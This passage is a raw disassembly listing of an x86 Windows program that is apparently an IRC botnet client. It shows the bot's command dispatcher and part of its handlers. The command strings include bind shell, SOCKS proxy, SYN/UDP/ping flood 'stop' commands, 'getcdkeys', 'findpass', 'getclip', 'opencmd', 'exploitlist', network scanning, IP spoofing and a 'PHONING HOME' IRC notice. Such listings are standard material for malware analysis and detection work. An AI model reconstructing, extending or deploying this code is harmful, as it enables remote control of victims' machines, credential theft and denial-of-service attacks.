1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 lea eax, [ebp+var_4AF0] push offset asc_42D0F4 ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42D0F4 ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42CD34 loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42CD0C jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42CCF0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42CCD4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42CCC0 push offset dword_42CCB4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42CC94 push offset dword_42CC84 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42CC78 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42CC6C push offset dword_42CC60 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42CC4C push offset dword_42CC40 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42CC24 push offset dword_42CC14 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42CBF8 push offset dword_42CBE8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42CBD0 push offset dword_42CBC4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42CC6C push offset dword_42CC60 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42CC4C push offset dword_42CC40 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42CBAC push offset dword_42CBA0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42CB94 push offset dword_42CB88 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42CBF8 push offset dword_42CBE8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42CBD0 push offset dword_42CBC4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42CB78 push offset dword_42CB68 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42CB58 push offset dword_42CB48 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42CC24 push offset dword_42CC14 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42CB14 push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42CB78 push offset dword_42CB68 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42CB58 push offset dword_42CB48 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42CBAC push offset dword_42CBA0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42CB94 push offset dword_42CB88 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42CACC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42CA7C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42CA58 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42CA38 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_1 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C974 jnz short loc_403191 mov eax, offset unk_42C94C loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C88C push offset dword_42C880 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C87C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C868 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C834 call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C800 push eax mov dword_4CEDE8, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C758 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aScanall ; "scanall" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aSa ; "sa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C6E8 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h call dword_427078 ; Sleep jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42C6AC jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_431CB2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_431CB2 jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF_0 ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42C66C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431AD0, ebx mov [ebp+var_734], 32h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431AD0 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431AD0[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CB5D8 ; getsockname mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset byte_43D7E8 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C5EC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset sub_40C33C push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h call dword_427078 ; Sleep jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C4] push offset unk_42C5B0 push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42C578 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42C558 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx call dword_427070 ; GetModuleFileNameA loc_403B37: ; 